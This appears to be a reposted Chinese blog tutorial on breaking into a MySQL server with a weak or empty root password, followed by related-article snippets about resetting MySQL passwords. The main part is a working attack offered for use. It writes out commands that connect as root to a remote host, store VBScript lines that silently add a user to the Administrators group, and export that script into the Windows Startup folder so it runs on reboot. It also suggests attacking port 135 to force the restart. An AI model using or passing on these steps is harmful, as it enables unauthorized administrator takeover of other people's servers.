mysql 攻击密码_MySQL用户Root密码为弱口令的攻击

1、连接到对方MYSQL 服务器

mysql -u root -h 192.168.0.1

mysql.exe 这个程序在你安装了MYSQL的的BIN目录中。

2、让我们来看看服务器中有些什么数据库

mysqlshow databases; MYSQL默认安装时会有MYSQL、TEST这两个数据库，如果你看到有其它的数据库那么就是用户自建的数据库。

3、让我们进入数据库

mysqluse test; 我们将会进入test数据库中。

4、查看我们进入数据库中有些什么数据表

mysqlshow tables; 默认的情况下，test中没有任何表的存在。

以下为关键的部分

5、在TEST数据库下创建一个新的表；

mysqlcreate table a (cmd text); 好了，我们创建了一个新的表，表名为a，表中只存放一个字段，字段名为cmd，为text文本。

6、在表中插入内容

mysqlinsert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

mysqlinsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );

mysqlinsert into a values

("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0) " );

注意双引号和括号以及后面的"0"一定要输入！我们将用这三条命令来建立一个VBS的脚本程序！　7、好了，现在我们来看看表a中有些什么

mysqlselect * from a;我们将会看到表中有三行数据，就是我们刚刚输入的内容，确认你输入的内容无误后，我们来到下一步

8、输出表为一个VBS的脚本文件

mysqlselect * from a into outfile "c:\\docume~1\\alluse~1\\“开始”菜单\\程序\\启动\\a.vbs"; 我们把我们表中的内容输入到启动组中，是一个VBS的脚本文件！注意"\"符号。

9、看到这大家肯定知道了，就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢，因为启动运行时会有明显的DOS窗口出来，而用VBS脚本则可以完全隐藏窗口且不会有错误提示！本来，应该还有一句完成脚本后自动删除此脚本的，但是中文目录实在无法处理，只有作罢！好了，找个工具攻击135让服务器重启吧，几分钟以后你就是管理员了。

mysql 攻击密码_MySQL用户Root密码为弱口令的攻击相关推荐

mysql弱口令是什么意思_MYSQL用户root密码为弱口令又一攻击方法
转自论坛作者未知. 请与我们联系. 前天,我发了一张关于MYSQL用户ROOT密码为空的贴,在网上我也找到一些利用此漏洞的方法,一般就是写一个ASP或PHP的后门,不仅很麻烦,而且还要猜解网站的目录, ...
mysql gui 修改密码_MySQL修改root密码的各种方法整理
整理了以下四种在MySQL中修改root密码的方法,可能对大家有所帮助! 方法1: 用SET PASSWORD命令 mysql -u root mysql> SET PASSWORD FOR ' ...
mysql密码攻击_MYSQL用户root密码为弱口令又一攻击方法
测试MySQL服务器root密码的方法公布如下: 1.连接到对方MYSQL 服务器 mysql -u root -h 192.168.0.1 mysql.exe 这个程序在你安装了MYSQL的的BIN ...
iis mysql密码_mysql忘记root密码与root帐号被删除处理方法
说明:请根据自己主机系统及问题选择对应步骤. 1.查找修改配置文件修改my.ini(windows系统)或my.cnf(linux系统)文件, windows系统:my.ini在mysql的安装目录 ...
mysql用alter修改root密码_mysql修改root密码
mysql8.0.16 登录时出现ERROR 1130 (HY000): Host 'localhost' is not allowed to connect to this MySQL server ...
mysql初始化root密码_MySQL初始化root密码的正确操作流程
此文章主要向大家描述的是MySQL初始化root密码与允许远程访问的正确操作步骤与实际应用代码的描述,假如你对允许MySQL远程访问的实际操作有兴趣了解的话,以下的文章将满足你对其的好奇之心. MyS ...
mysql忘了root密码_mysql忘记root密码怎么办
产品型号:Thinkpad E15 系统版本:centos8 软件版本:mysql 5.7 mysql忘记root密码怎么办启动MySQL服务的时候跳过权限表认证. 停止数据库 [root@xueg ...
重置mysql+密码_MySQL重置root密码的几种方法（windows+Linux）
重置root密码的方法: windows系统下: 1.停止mysql服务: 2.新建文件init-root.txt,写上如下内容: update mysql.user set password = p ...
mysql 删除修改密码_Mysql数据库root密码忘记了，如何在不删除Mysql的情况下修改密码...
1.cmd中使用 net stop mysql 命令停掉正在运行的mysql 数据库. 2.在本地中复制Mysql数据库的安装路径一直到bin路径下. 3.到cmd执行 "pushd + ...

mysql 攻击密码_MySQL用户Root密码为弱口令的攻击

mysql 攻击密码_MySQL用户Root密码为弱口令的攻击相关推荐

最新文章

热门文章